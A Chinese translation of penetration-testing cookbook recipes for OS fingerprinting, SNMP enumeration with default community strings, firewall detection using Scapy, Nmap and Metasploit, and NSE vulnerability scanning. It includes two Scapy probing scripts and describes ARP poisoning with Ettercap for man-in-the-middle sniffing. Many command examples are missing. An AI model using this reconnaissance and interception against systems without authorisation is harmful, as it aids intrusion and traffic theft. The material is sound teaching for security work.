要使用 Scapy 识别 TTL 响应中的差异，你需要有一个远程系统，运行 Linux/Unix 操作系统，并且有一个远程系统，运行 Windows 操作系统，以供分析。在提供的示例中，使用了 Metasploitable2 和 Windows XP 的安装版本。有关在本地实验室环境中设置系统的更多信息，请参阅第一章中的 安装 Metasploitable2 和 安装 Windows Server 章节，入门指南。此外，本节还需要使用文本编辑器（如 Vim 或 GNU nano）编写脚本到文件系统中。有关编写脚本的更多信息，请参阅第一章中的 使用文本编辑器（Vim 和 GNU nano） 章节，入门指南。

如何操作……

以下步骤将帮助你使用 Scapy 进行操作系统识别：

1. Windows 和 Linux/Unix 操作系统的默认 TTL 起始值不同。这个因素可以用来尝试识别你正在与之通信的操作系统类型。以下表格总结了这些值：

操作系统	标准 TTL 值
微软 Windows 操作系统	128
Linux/Unix 操作系统	64

1. 一些基于 Unix 的系统会从默认 TTL 值255开始；然而，为了简化这个练习，我们将使用提供的值作为本食谱中任务的前提。为了分析来自远程系统的响应中的 TTL 值，我们首先需要构建一个请求。在这个例子中，我们将使用互联网控制消息协议（ICMP）回显请求。为了发送 ICMP 请求，我们必须首先构建该请求的各个层。我们需要构建的第一层是 IP 层：

1. 为了构建请求的 IP 层，我们应该将IP对象分配给i变量。通过调用display()函数，我们可以识别该对象的属性配置。默认情况下，发送和接收地址都设置为回环地址127.0.0.1。这些值可以通过更改目标地址来修改，将i.dst设置为我们希望扫描的地址的字符串值。

2. 通过再次调用display()函数，我们可以看到，不仅目标地址已更新，Scapy 还会自动将源 IP 地址更新为与默认接口关联的地址。现在，我们已经构建了请求的 IP 层，接下来应该构建 ICMP 层：

1. 为了构建我们请求的 ICMP 层，我们将使用与构建 IP 层时相同的技术。在提供的示例中，ICMP 对象被分配给了ping变量。如前所述，可以通过调用display()函数来识别默认配置。默认情况下，ICMP 类型已设置为echo-request。现在，我们已经创建了 IP 和 ICMP 层，我们需要通过堆叠这些层来构建请求：

1. IP 和 ICMP 层可以通过用斜杠分隔变量来堆叠。然后，这些层可以设置为一个新的变量，代表整个请求。接着，可以调用display()函数来查看请求的配置。一旦请求构建完成，就可以将其传递给sr1()函数以分析响应：

1. 这个请求可以在不独立构建和堆叠每一层的情况下执行。相反，可以通过直接调用函数并传递适当的参数来使用一个单行命令：

1. 请注意，来自 Linux 系统的响应的 TTL 值为 64。可以对 Windows 系统的 IP 地址执行相同的测试，并注意 TTL 值响应的差异：

1. 请注意，Windows 系统返回的响应的 TTL 值为 128。这种响应的变化可以很容易地在 Python 中进行测试：

1. 通过发送相同的请求，可以测试 TTL 值的整数等效值，以确定其是否小于或等于 64，如果是这种情况，我们可以假设该设备很可能运行 Linux/Unix 操作系统。否则，如果值大于 64，则可以假设该设备很可能运行 Windows 操作系统。可以使用可执行的 Python 脚本自动化整个过程：

        #!/usr/bin/python

        from scapy.all import *
        import logging
        logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
        import sys

        if len(sys.argv) != 2:
          print "Usage - ./ttl_id.py [IP Address]"
          print "Example - ./ttl_id.py 10.0.0.5"
          print "Example will perform ttl analysis to
           attempt to determine whether the system is Windows
           or Linux/Unix"
          sys.exit()

        ip = sys.argv[1]

        ans = sr1(IP(dst=str(ip))/ICMP(),timeout=1,verbose=0)
        if ans == None:
          print "No response was returned"
        elif int(ans[IP].ttl) <= 64:
          print "Host is Linux/Unix"
        else:
          print "Host is Windows"

1. 提供的 Python 脚本将接受一个参数，该参数为需要扫描的 IP 地址。根据返回响应的 TTL 值，脚本将尽最大努力猜测远程操作系统。可以通过使用 chmod 命令更改文件权限，并直接从脚本所在的目录调用该脚本来执行：

它是如何工作的…

Windows 操作系统传统上将网络流量的起始 TTL 值设置为 128，而 Linux/Unix 操作系统传统上将网络流量的起始 TTL 值设置为 64。假设从一个设备到另一个设备的跳数不超过 64 次，可以安全地假设 Windows 系统会以 TTL 值在 65 到 128 之间的范围内传输响应，而 Linux/Unix 系统会以 TTL 值在 1 到 64 之间的范围内传输响应。当扫描系统与远程目标之间存在设备拦截请求并重新打包时，这种识别方法可能会变得不太有用。

使用 Nmap 进行操作系统识别

尽管 TTL 分析在识别远程操作系统时有帮助，但更全面的解决方案更为理想。Nmap 具有一个操作系统识别功能，远远超出了简单的 TTL 分析。本教程将演示如何使用 Nmap 基于探针响应分析进行操作系统识别。

准备工作

要使用 Nmap 执行操作系统识别，您需要有一个远程系统运行可以进行探测和检查的网络服务。在提供的示例中，使用 Windows XP 安装来执行此任务。有关设置 Windows 系统的更多信息，请参阅 第一章 中的 安装 Windows 服务器 配方，入门指南。

如何操作…

让我们使用 Nmap 进行操作系统识别：

1. 要执行 Nmap 操作系统识别扫描，应该使用 IP 地址和 -O 选项调用 Nmap：

1. 在提供的输出中，Nmap 会指示运行的操作系统，或者可能提供几个可能的操作系统列表。在这种情况下，Nmap 已经指示远程系统正在运行 Windows XP 或 Windows Server 2003。

如何操作……

Nmap 的操作系统识别通过发送一系列综合的探测请求，并分析这些请求的响应，试图基于操作系统特定的特征和预期行为来识别底层的操作系统。此外，您可以看到在操作系统识别输出的底部，Nmap 依赖于用户反馈来确保其服务特征的持续可靠性。

使用 xprobe2 进行操作系统识别

xprobe2 工具是一个综合性工具，旨在识别远程操作系统。此配方将演示如何使用 xprobe2 命令，基于探测响应分析来执行操作系统识别。

准备工作

要使用 xprobe2 命令进行操作系统识别，您需要一个远程系统，且该系统正在运行可以被探测和检查的网络服务。在提供的示例中，使用了一个 Metasploitable2 实例来执行此任务。有关设置 Metasploitable2 的更多信息，请参阅 第一章 中的 安装 Metasploitable2 配方，开始使用 部分。

如何操作……

以下步骤将指导您使用 xprobe2 命令进行操作系统识别：

1. 要在远程系统上执行操作系统识别扫描，您需要使用 xprobe2 命令，并向程序传递一个包含要扫描系统的 IP 地址的单一参数：

1. 此工具的输出可能有些误导。有几种不同的 Linux 内核，表示该操作系统的 100% 可能性。显然，这不可能是正确的。

2. xprobe2 工具实际上是根据与目标系统确认的与该操作系统相关的可能签名的数量来计算这个百分比的。

3. 不幸的是，正如从该输出中可以看到的那样，签名并不够细致，无法区分次要版本。尽管如此，这个工具仍然可以作为识别目标操作系统的有用附加资源。

如何操作……

xprobe2 识别远程操作系统的基本原理与 Nmap 使用的原理相同。xprobe2 的操作系统识别通过发送一系列综合的探测请求，并分析这些请求的响应，试图基于操作系统特定的特征和预期行为来识别底层的操作系统。

使用 p0f 进行被动操作系统识别

p0f 工具是一款综合性的工具，旨在识别远程操作系统。与这里讨论的其他工具不同，它被设计为被动地进行操作系统识别，而不直接与目标系统进行交互。本教程将展示如何使用 p0f 命令执行被动操作系统识别。

准备工作

要使用 p0f 命令进行操作系统识别，你需要一个正在运行网络服务的远程系统。在提供的示例中，使用了 Metasploitable2 实例来执行此任务。有关如何设置 Metasploitable2 的更多信息，请参阅 第一章中的 安装 Metasploitable2 配方，入门 部分。

如何操作……

以下步骤将帮助你使用 p0f 命令执行被动操作系统识别：

1. 如果你直接从命令行执行 p0f 命令，而没有任何先前的环境设置，你会注意到它不会提供太多信息，除非你直接与网络上的某些系统交互：

1. 这种信息的缺乏表明，与我们讨论的其他工具不同，p0f 并不会主动探测设备以尝试确定其操作系统。相反，它只是安静地监听。

2. 我们可以通过在一个独立的终端中运行 Nmap 扫描来生成流量，但那样就违背了被动操作系统识别工具的初衷。相反，我们需要找到一种方式，将流量通过我们的本地接口进行路由，以便我们可以被动地分析它。

3. Ettercap 提供了一个优秀的解决方案，能够通过提供中毒 ARP 缓存的功能来创建一个中间人攻击（MITM）场景。为了使两个系统之间的流量通过你的本地接口重新路由，你需要对这两个系统进行 ARP 中毒：

1. 在提供的示例中，ettercap 命令在命令行中执行。-M 选项定义了由 arp:remote 参数指定的模式。这表示将执行 ARP 中毒，并且将嗅探来自远程系统的流量。开头和结尾的斜杠中的 IP 地址表示要中毒的系统。-T 选项表示操作将在纯文本界面中执行，-w 选项用于指定将流量捕获保存到的文件。

2. 一旦你建立了 MITM，你可以在一个独立的终端中再次执行 p0f。假设这两个被攻击的主机正在进行通信，你应该能看到以下流量：

1. 所有通过p0f监听器的包都会被标记为未知，或者与特定的操作系统签名相关联。完成足够的分析后，您应该通过输入q优雅地关闭 Ettercap 文本界面。这将重新 ARP 受害者，以确保不会发生服务中断：

它是如何工作的…

ARP 欺骗通过使用虚假的 ARP 响应，欺骗受害系统将目标 IP 地址与 MITM 系统的 MAC 地址关联。MITM 系统将接收来自两个中毒系统的流量，并将流量转发给目标接收方。这将允许 MITM 系统从网络中嗅探所有流量。通过分析这些流量中的独特行为和签名，p0f 可以在不直接探测设备响应的情况下识别网络中设备的操作系统。

使用 Onesixtyone 进行 SNMP 分析

Onesixtyone 是一个 SNMP 分析工具，其名称来源于 SNMP 操作的 UDP 端口。它是一个非常简单的 SNMP 扫描器，只请求任何指定 IP 地址的系统描述值。

准备工作

要使用 Onesixtyone 进行 SNMP 分析，您需要具备启用 SNMP 并能够被探测和检查的设备。在提供的示例中，使用了 Windows XP 安装进行此任务。如需了解更多关于设置 Windows 系统的信息，请参考第一章中的安装 Windows Server配方，入门指南。

如何操作…

让我们使用onesixtyone命令进行 SNMP 分析：

1. 要使用onesixtyone命令，您可以将目标 IP 地址和社区字符串作为参数传递：

1. 在提供的示例中，使用了社区字符串public来查询172.16.69.129设备的系统描述。这是各种网络设备使用的最常见的默认社区字符串之一。根据输出，远程主机用描述字符串回应了查询，标识了自身。

它是如何工作的…

SNMP 是一种协议，用于管理联网设备并促进这些设备之间的信息共享。在企业网络环境中，通常需要使用此协议；然而，系统管理员经常未修改用于跨 SNMP 设备共享信息的默认社区字符串。在这种情况下，可以通过正确猜测这些设备使用的默认社区字符串来收集关于网络设备的信息。

使用 SNMPwalk 进行 SNMP 分析

SNMPwalk 是一个更复杂的 SNMP 扫描器，可用于从具有可猜测的 SNMP 社区字符串的设备收集大量信息。SNMPwalk 会循环执行一系列请求，以尽可能多地收集该服务的信息。

准备工作

要使用 SNMPwalk 执行 SNMP 分析，您需要启用 SNMP 并且可以被探测和检查的设备。在提供的示例中，使用 Windows XP 的安装来执行此任务。有关如何设置 Windows 系统的更多信息，请参见 第一章 中的 安装 Windows Server 章节， 入门。

如何操作…

以下步骤将指导您使用 snmpwalk 命令执行 SNMP 分析：

1. 要执行 snmpwalk 命令，工具应传递一系列参数，包括要分析的系统的 IP 地址、要使用的社区字符串以及系统采用的 SNMP 版本：

1. 要针对启用了 SNMP 的 Windows XP 系统使用 SNMPwalk，使用默认的社区字符串 public，版本为 2c。这会生成大量的输出，示范中已进行了截断。

2. 注意，默认情况下，所有识别的信息前面都有查询的 OID 值。可以通过将输出传递给 cut 函数来清理这些标识符：

1. 请注意，SNMPwalk 的输出不仅提供了系统标识符。通过检查输出，有些信息可能看起来显而易见，而有些则可能看起来更为晦涩。然而，通过彻底分析，您可以收集到关于目标系统的大量信息：

1. 在输出的一个片段中，可以看到一系列的十六进制值和 IP 地址以列表形式展示。通过参考网络上已知系统的网络接口，可以明显看出这些是 ARP 缓存的内容。它标识了设备上存储的 IP 地址和 MAC 地址关联：

1. 此外，输出中还可以找到正在运行的进程列表和已安装的应用程序。这些信息在枚举目标系统上运行的服务和识别潜在的漏洞方面非常有用，这些漏洞可能被利用。

它是如何工作的…

与 Onesixtyone 不同，SNMPwalk 不仅能够识别常见或默认的 SNMP 社区字符串的使用情况，还能够利用这些配置通过 SNMP 从目标系统收集大量信息。这是通过一系列 SNMP GETNEXT 请求来实现的，本质上是暴力请求系统通过 SNMP 提供的所有信息。

使用 Scapy 进行防火墙识别

通过评估从选择的分组注入返回的响应，可以确定远程端口是否被防火墙设备过滤。为了深入理解这个过程是如何工作的，我们可以通过 Scapy 在数据包级别执行此任务。

准备工作

要使用 Scapy 进行防火墙识别，您需要一个运行网络服务的远程系统。此外，您还需要实现某种类型的过滤机制。这可以通过独立的防火墙设备或主机上的过滤机制（如 Windows 防火墙）来完成。通过操作防火墙设备上的过滤设置，您应该能够修改注入数据包的响应。

如何做到这一点……

让我们使用 Scapy 进行防火墙识别：

1. 为了有效确定 TCP 端口是否被过滤，必须同时发送 TCP SYN 数据包和 TCP ACK 数据包到目标端口。根据这些数据包的响应情况，我们可以判断端口是否被过滤。最有可能的是，注入这两个数据包会导致四种不同响应组合中的一种。我们将讨论每种情况，它们表明目标端口的过滤状态，以及如何测试每种情况。这四种可能的响应组合包括：

   • SYN 请求没有响应，ACK 请求 RST 响应

   • SYN 请求 SYN+ACK 或 SYN+RST 响应，ACK 请求没有响应

   • SYN 请求 SYN+ACK 或 SYN+RST 响应，ACK 请求 RST 响应

   • SYN 请求没有响应，ACK 请求没有响应

2. 在第一个场景中，我们应该考虑一种配置，其中注入的 SYN 数据包没有响应，而 ACK 数据包则会收到 RST 响应。为了测试这一点，我们应该先向目标端口发送一个 TCP ACK 数据包。要将 TCP ACK 数据包发送到任何给定端口，首先必须构建请求的各个层。我们需要构建的第一层是 IP 层：

1. 为了构建请求的 IP 层，我们应该将IP对象赋值给i变量。通过调用display()函数，我们可以识别该对象的属性配置。默认情况下，发送和接收地址都设置为127.0.0.1回环地址。可以通过修改目标地址来改变这些值，将i.dst设置为我们希望扫描的地址的字符串值。

2. 通过再次调用display()函数，我们可以看到，不仅目标地址已经更新，Scapy 还会自动更新源 IP 地址为与默认接口相关联的地址。现在我们已经构建了请求的 IP 层，接下来应该进入 TCP 层：

1. 为了构建请求的 TCP 层，我们将使用与 IP 层相同的技术。在提供的示例中，TCP对象被赋值给t变量。如前所述，可以通过调用display()函数来识别默认配置。在这里，我们可以看到源端口的默认值设置为端口21（FTP），目标端口的默认值设置为端口80（HTTP）。

2. 目标端口值可以通过将其设置为新的端口目标值来修改，flags 值应该设置为 A，以表示 ACK 标志位应该被激活。现在我们已经创建了 IP 和 TCP 层，我们需要通过堆叠这些层来构建请求：

1. IP 和 TCP 层可以通过用斜杠分隔变量来堆叠。这些层可以设置为等于一个新的变量，表示整个请求。然后可以调用 display() 函数来查看请求的配置。一旦请求构建完成，就可以将其传递给 sr1() 函数，以便分析响应：

1. 可以通过直接调用函数并传递适当的参数来执行相同的请求，而无需独立构建和堆叠每一层。这样可以使用一个单行命令来完成：

1. 请注意，在这个特定场景中，接收到一个 RST 数据包作为对注入的 ACK 数据包的响应。测试的下一步是以相同的方式注入一个 SYN 数据包：

1. 以相同方式发送 SYN 请求后，未收到响应，并且当超时值被超出时，函数停止执行。这种响应组合表明启用了状态检测过滤。该套接字拒绝所有传入连接，通过丢弃 SYN 请求来实现，但 ACK 数据包不会被过滤，以确保外向连接和持续通信仍然可行。这种响应组合可以在 Python 中进行测试，以识别状态过滤的端口：

1. 在使用 Scapy 构建每个请求后，用于评估这些响应的测试是确定是否从 ACK 或 SYN 注入中接收到响应，但不会同时从两者中接收到响应。这个测试有效地用于识别当前场景和下一个场景，其中 SYN 注入会收到回复，而 ACK 注入则不会。一个 SYN+ACK 或 RST+ACK 响应由 SYN 注入引发，但 ACK 注入没有响应的场景，也是状态检测过滤的一个标志。该测试方法保持不变。

首先，应该向目标端口发送一个 ACK 数据包：

1. 请注意，在提供的示例中，这次注入没有引发响应。或者，如果注入 SYN 数据包，则如果端口开放，将收到带有 SYN+ACK 标志位激活的响应；如果端口关闭，则会收到带有 RST+ACK 标志位激活的响应：

1. 在这种情况下可以执行完全相同的测试，因为该测试通过确定是否有两个注入请求中的任何一个引发响应（而不是两个都引发响应）来识别是否存在状态检测过滤：

1. 这种响应组合表明正在对 ACK 数据包执行有状态过滤，任何在正确会话上下文之外发送的 ACK 数据包都将被丢弃。然而，端口并没有完全被过滤，从对入站连接尝试的响应可以看出这一点。另一种可能的情况是，如果 SYN 和 ACK 注入都得到了预期的响应。在这种情况下，没有任何过滤的迹象。为了测试这种情况，应该进行 ACK 注入并分析响应：

1. 如果端口未过滤，发送一个未经请求的 ACK 数据包到目标端口应会导致返回一个 RST 数据包。这个 RST 数据包表明 ACK 数据包是超出上下文发送的，旨在终止通信。发送 ACK 注入后，还应该向同一端口发送一个 SYN 注入：

1. 如果端口未过滤且处于打开状态，将返回一个 SYN+ACK 响应。注意，TCP flags 属性的实际值是一个值为 18 的长变量。这个值可以通过 int 函数轻松转换为整数。18 是 TCP 标志位序列的十进制值。SYN 标志位的十进制值为 2，ACK 标志位的十进制值为 16。假设没有有状态过滤的迹象，我们可以通过评估 TCP flags 值的整数转换，在 Python 中测试端口是否未过滤且已打开：

1. 可以执行类似的测试，以确定端口是否未过滤且已关闭。一个未过滤且已关闭的端口将激活 RST 和 ACK 标志位。如前所述，ACK 标志位的十进制值为 16，RST 标志位的十进制值为 4。因此，未过滤且关闭端口的 TCP flags 值的预期整数转换应为 20：

1. 最后，我们应该考虑一种没有收到 SYN 或 ACK 注入响应的情况。在这种情况下，当提供的超时值超过时，sr1() 函数的两个实例将被中止：

1. 两个注入都没有响应，很可能表明端口是无状态过滤的，并且无论状态如何都会丢弃所有入站流量，或者可能是远程主机宕机的迹象。人们可能会首先想到，可以通过在先前开发的测试序列末尾附加一个 else 执行流程，在 Python 中测试这一点。如果没有收到一个或两个注入的响应，理论上应该执行这个 else 操作。简而言之，如果没有收到响应，else 操作会被执行：

1. 虽然理论上它似乎可行，但在实践中效果较差。如果对没有值的变量进行值测试，Python 实际上会返回一个错误。为了避免这个问题，首先应该检查的条件是是否收到了任何回复：

1. 然后，整个测试序列可以集成到一个功能脚本中。该脚本将接受两个参数，包括目标 IP 地址和待测试端口。然后将注入 ACK 和 SYN 数据包，并存储任何收到的响应以供评估。

2. 接下来，将执行一系列四个测试，以确定端口是否存在过滤。首先，将执行一个测试，以确定是否收到了任何响应。如果没有收到响应，则输出将指示远程主机已关闭或端口处于无状态过滤状态并丢弃所有流量。如果收到任何响应，将执行一个测试，以确定它是对一个注入的响应而非两个。如果是这种情况，输出将指示该端口是有状态过滤的。

3. 最后，如果从两个注入中都收到了响应，则该端口将被识别为未过滤，并且会评估 TCP flags 值，以确定该端口是开放还是关闭：

        #!/usr/bin/python

        import sys
        import logging
        logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
        from scapy.all import *

        if len(sys.argv) != 3:
            print "Usage - ./ACK_FW_detect.py [Target-IP]
             [Target Port]"
            print "Example - ./ACK_FW_detect.py 10.0.0.5 443"
            print "Example will determine if filtering exists
             on port 443 of host 10.0.0.5"
            sys.exit()

        ip = sys.argv[1]
        port = int(sys.argv[2])

        ACK_response =
        sr1(IP(dst=ip)/TCP(dport=port,flags='A'),timeout=1,verbose=0)
        SYN_response =
        sr1(IP(dst=ip)/TCP(dport=port,flags='S'),timeout=1,verbose=0)
        if (ACK_response == None) and (SYN_response == None):
            print "Port is either unstatefully filtered or
             host is down"
        elif ((ACK_response == None) or (SYN_response == None))
         and not
        ((ACK_response == None) and (SYN_response == None)):
            print "Stateful filtering in place"
        elif int(SYN_response[TCP].flags) == 18:
            print "Port is unfiltered and open"
        elif int(SYN_response[TCP].flags) == 20:
            print "Port is unfiltered and closed"
        else:
            print "Unable to determine if the port is filtered"

1. 在本地文件系统中创建脚本后，需要更新文件权限以允许执行该脚本。可以使用 chmod 命令来更新这些权限，然后可以通过直接调用该脚本并传递预期的参数来执行它：

它是如何工作的…

SYN 和 ACK TCP 标志在有状态网络通信中扮演重要角色。SYN 请求允许建立新的 TCP 会话，而 ACK 响应用于维持会话直到关闭。一个端口如果仅响应其中一种类型的数据包，而非另一种，极有可能受到基于会话状态的流量限制过滤。通过识别这种情况，可以推断该端口存在有状态过滤。

使用 Nmap 进行防火墙识别

Nmap 拥有简化的防火墙过滤识别功能，可以基于 ACK 探测响应来识别端口上的过滤。此功能可以用于测试单个端口或多个端口的过滤状态。

准备工作

要使用 Nmap 执行防火墙识别，你需要有一个远程系统正在运行网络服务。此外，你还需要实现某种类型的过滤机制。这可以通过独立的防火墙设备或基于主机的过滤（如 Windows 防火墙）来完成。通过操作防火墙设备上的过滤设置，你应该能够修改扫描结果。

它是如何实现的…

这些步骤将帮助你使用 Nmap 来识别防火墙：

1. 要执行 Nmap 防火墙 ACK 扫描，应该使用 nmap 调用，指定 IP 地址、目标端口和 -sA 选项：

1. 在没有通过防火墙路由流量的情况下，对我的本地网络中的 Metasploitable2 系统执行此扫描时，响应表明 TCP 端口 22（SSH）是未过滤的。可以通过执行相同的扫描而不提供端口规格来对 Nmap 的 1,000 个常见端口进行端口过滤评估：

1. 当对本地网络中的 Metasploitable2 系统进行扫描时，该系统没有位于任何防火墙之后，结果显示所有扫描的端口都未被过滤。如果相同的扫描针对一个位于包过滤防火墙之后的目标进行，则所有端口都会被识别为已过滤，除了防火墙不限制流量的端口。当扫描端口范围时，输出只包含未过滤的端口。

2. 要扫描所有可能的 TCP 端口，必须扫描所有可能的端口地址值。定义源和目标端口地址的 TCP 头部部分都是 16 位长，每一位可以保持 1 或 0 的值。因此，可能的 TCP 端口地址有 2¹⁶，即 65,536 个。要扫描所有可能的地址空间，必须提供端口范围 1-65535：

它是如何工作的…

除了 Nmap 提供的许多其他功能外，它还可以用来识别防火墙过滤。Nmap 执行此类防火墙识别的方式，主要通过使用在 Scapy 例子中讨论的相同技术。向目标端口发送 SYN 和未经请求的 ACK 数据包组合，并分析响应以确定过滤的状态。

使用 Metasploit 进行防火墙识别

Metasploit 有一个扫描 auxiliary 模块，可以用来执行多线程的网络端口分析，以确定这些端口是否被过滤，这基于 SYN/ACK 探针响应分析。

准备工作

要使用 Metasploit 执行防火墙识别，您需要有一台运行网络服务的远程系统。此外，您还需要实施某种类型的过滤机制。这可以通过独立的防火墙设备或基于主机的过滤，如 Windows 防火墙来完成。通过操作防火墙设备上的过滤设置，您应该能够修改扫描结果。

如何操作…

让我们使用 Metasploit 来执行防火墙识别：

1. 要使用 Metasploit 的 ACK 扫描模块进行防火墙和过滤器识别，首先必须在 Kali Linux 的终端中启动 MSF 控制台，然后使用 use 命令选择所需的 auxiliary 模块：

1. 选择模块后，可以使用show options命令来识别和/或修改扫描配置。该命令将显示四个列标题，包括：Name、Current Setting、Required和Description：

   • Name列标识每个可配置变量的名称。

   • Current Setting列列出了任何给定变量的现有配置。

   • Required列标识某个给定变量是否需要值。

   • Description列描述了每个变量的功能。

2. 任何给定变量的值都可以使用set命令进行更改，并提供新值作为参数：

1. 在提供的示例中，RHOSTS值被更改为我们希望扫描的远程系统的 IP 地址。此外，线程数被更改为25。THREADS值定义了在后台执行的并发任务数量。确定线程值的过程是找到一个良好的平衡点，既能显著提高任务的速度，又不会过度消耗系统资源。对于大多数系统来说，25个线程是一个快速且相对安全的并发进程数。

2. 更新必要的变量后，可以再次使用show options命令验证配置。确认所需的配置后，可以启动扫描：

结果已被截断以节省空间。以下是我们扫描的结论：

在这个例子中，唯一提供的输出是关于扫描的元数据，用于指示扫描的系统数量以及模块执行已经完成。由于被扫描的 Metasploitable2 系统没有处于任何防火墙后面，因此 SYN 和 ACK 注入的响应在端口之间完全相同，所以没有输出。

它是如何工作的…

Metasploit 提供了一个auxiliary模块，通过许多在前述教程中讨论过的相同技术来执行防火墙识别。然而，Metasploit 还提供了在框架的上下文中执行此分析的能力，这个框架也可以用于其他信息收集，甚至是利用攻击。

第六章：漏洞扫描

本章包含以下用于执行自动化漏洞扫描的配方：

• 使用 Nmap 脚本引擎进行漏洞扫描

• 使用 MSF 辅助模块进行漏洞扫描

• 使用 Nessus 创建扫描策略

• 使用 Nessus 进行漏洞扫描

• 使用 OpenVAS 进行漏洞扫描

• 使用 HTTP 交互验证漏洞

• 使用 ICMP 交互验证漏洞

介绍

虽然通过查看服务指纹识别结果并研究与已识别版本相关的漏洞来识别许多潜在漏洞是可能的，但这通常会耗费极大的时间。有一些更简化的替代方案，通常可以为您完成这项工作的很大一部分。这些替代方案包括使用自动化脚本和程序，通过扫描远程系统来识别漏洞。未经身份验证的漏洞扫描器通过向服务发送一系列独特的探测请求，试图获取指示漏洞存在的响应。相反，经过身份验证的漏洞扫描器会直接使用提供的凭据查询远程系统，获取关于已安装应用程序、运行的服务、文件系统和注册表内容的信息。

使用 Nmap 脚本引擎进行漏洞扫描

Nmap 脚本引擎 (NSE) 提供了大量的脚本，可以用于执行一系列自动化任务来评估远程系统。Kali 中可以找到的现有 NSE 脚本被分为多个不同的类别，其中之一是漏洞识别。

准备工作

要使用 NSE 执行漏洞分析，您需要有一个运行 TCP 或 UDP 网络服务的系统。在提供的示例中，使用了一个存在漏洞的 SMB 服务的 Windows XP 系统。有关如何设置 Windows 系统的更多信息，请参阅第一章中的 安装 Windows Server 章节，入门部分。

如何做到这一点…

要使用 Nmap 脚本引擎获取所有漏洞信息，请执行以下步骤：

1. 有许多不同的方法可以识别与任何给定 NSE 脚本相关的功能。最有效的方法之一是参考位于 Nmap 脚本目录中的 script.db 文件。要查看文件内容，可以使用 cat 命令，如下所示：

1. script.db 文件是一个非常简单的索引，显示每个 NSE 脚本的文件名及其所属类别。这些类别是标准化的，便于使用 grep 查找特定类型的脚本。漏洞扫描脚本的类别名称为 vuln。要识别所有漏洞脚本，可以使用 grep 搜索 vuln 关键词，并通过 cut 命令提取每个脚本的文件名。以下是一个截断的输出示例：

1. 为了进一步评估前面列表中任何给定脚本的使用，可以使用 cat 命令读取与 script.db 文件位于同一目录中的 .nse 文件。由于大多数描述性内容通常位于文件的开头，建议将内容通过管道传输到 more 工具，这样就可以从上到下阅读该文件，如下所示：

1. 在提供的示例中，我们可以看到 smb-vuln-ms10-054.nse 脚本检查与 SMB 服务相关的远程内存损坏漏洞。在这里，可以找到漏洞的描述以及指向 常见漏洞和暴露 (CVE) 编号的参考，CVE 编号可以在线查询以获取更多信息。继续阅读，你可以更深入地了解该脚本，如下所示：

1. 继续往下阅读，我们可以找到有关脚本特定参数、适当用法以及预期脚本输出的示例。需要特别注意的是，存在一个不安全的参数，可以设置为 0（未启用）或 1（启用）。这是 Nmap 漏洞脚本中的一个常见参数，理解它的使用非常重要。

2. 默认情况下，unsafe 参数的值设置为 0。当这个值被设置时，Nmap 不会执行可能导致拒绝服务攻击的测试。虽然这听起来是最优选择，但通常意味着许多测试的结果将不那么准确，甚至一些测试根本不会执行。为了进行更彻底和准确的扫描，建议启用 unsafe 参数，但这应仅在授权的测试窗口内对生产系统进行操作。要运行漏洞扫描，应使用 nmap --script 参数指定特定的 NSE 脚本，并通过 nmap --script-args 参数传递所有脚本特定的参数。

3. 此外，为了以最少的干扰输出运行漏洞扫描，Nmap 应配置为仅扫描与扫描服务对应的端口，如下所示：

1. 还有一个 NSE 脚本，我想特别提一下，因为它提供了关于漏洞扫描实践的重要教训。这个脚本是 smb-vuln-ms10-061.nse。可以通过使用 cat 命令查看脚本的内容，然后使用 more 命令分页阅读，从上到下查看脚本的详细信息：

1. 这个漏洞是 Stuxnet 蠕虫利用的四个漏洞之一。该脚本以安全的方式检查漏洞，且不会导致远程系统崩溃，因为这不是一个内存损坏漏洞。为了使检查生效，它需要访问远程系统上至少一个共享的打印机。默认情况下，它会尝试使用 LANMAN API 列举打印机，但在某些系统上默认情况下此 API 不可用。在这种情况下，用户应当指定打印机共享名称作为打印机脚本参数。为了查找打印机共享，可以使用smb-enum-shares。

2. 此外，在某些系统上，访问共享需要有效的凭证，这些凭证可以通过smb库的参数smbuser和smbpassword来指定。这个漏洞之所以有趣，是因为在实际利用之前，必须满足多个条件：

• 首先，系统必须运行其中一个受影响的操作系统（XP、Server 2003 SP2、Vista、Server 2008 或 Windows 7）。

• 第二，它必须缺少MS10-061补丁，该补丁修复了代码执行漏洞。

• 最后，系统上的本地打印共享必须是公开可访问的。有趣的是，可以审计远程 SMB 打印队列服务，以确定系统是否打了补丁，无论系统上是否存在现有的打印机共享。正因为如此，对于什么是脆弱系统的解读各有不同。有些漏洞扫描器会将未打补丁的系统标记为易受攻击，但实际上漏洞无法被利用。另一种情况是，像 NSE 脚本这样的漏洞扫描工具会评估所有必要条件，以确定系统是否容易受到攻击。

1. 在提供的示例中，扫描的系统没有打补丁，但它也没有远程打印机共享。请查看以下示例：

1. 在提供的示例中，Nmap 已经确认该系统不易受攻击，因为它没有远程打印机共享。虽然漏洞无法被利用，但有些人仍然认为漏洞存在，因为该系统没有打补丁，如果管理员决定共享打印机，这个漏洞就可以被利用。这就是为什么所有漏洞扫描工具的结果必须被评估，以充分理解它们的结果。

2. 一些扫描器会选择仅评估有限的条件，而另一些则会更为彻底。很难说哪种方法最合适。大多数渗透测试人员可能更倾向于被告知系统因环境因素而不易受攻击，这样他们就不会浪费大量时间尝试利用一个无法被利用的漏洞。

3. 另外，系统管理员可能更倾向于知道系统缺少MS10-061补丁，以便即使在现有条件下漏洞无法被利用，系统也能得到完全保护。

工作原理…

大多数漏洞扫描器通过评估不同的响应来尝试确定系统是否容易受到特定攻击的威胁。在某些情况下，漏洞扫描可能仅仅是与远程服务建立 TCP 连接，并通过自我披露的横幅识别已知的漏洞版本。在其他情况下，可能会向远程服务发送一系列复杂的探测和特别构造的请求，试图获取与特定攻击相关的独特响应。在提供的 NSE 漏洞脚本示例中，如果激活了unsafe参数，漏洞扫描实际上会尝试利用该漏洞。

使用 MSF 辅助模块进行漏洞扫描

类似于 NSE 中的漏洞扫描脚本，Metasploit 也提供了许多有用的漏洞扫描器。像 Nmap 的脚本一样，这些大多数都是相对有针对性的，用于扫描特定的服务。

准备工作

要使用 Metasploit 辅助模块进行漏洞分析，你需要一个正在运行 TCP 或 UDP 网络服务的系统。在提供的示例中，使用了一个 Windows XP 系统，且该系统有 RDP 服务。有关设置 Windows 系统的更多信息，请参阅第一章中安装 Windows Server的内容，入门部分。

如何执行…

让我们使用 MSF 辅助模块执行漏洞扫描：

1. 有多种不同的方法可以在 Metasploit 中识别漏洞扫描辅助模块。一种有效的方法是浏览到/auxiliary/scanner目录，因为大多数漏洞识别脚本都位于此目录下。请查看以下示例：

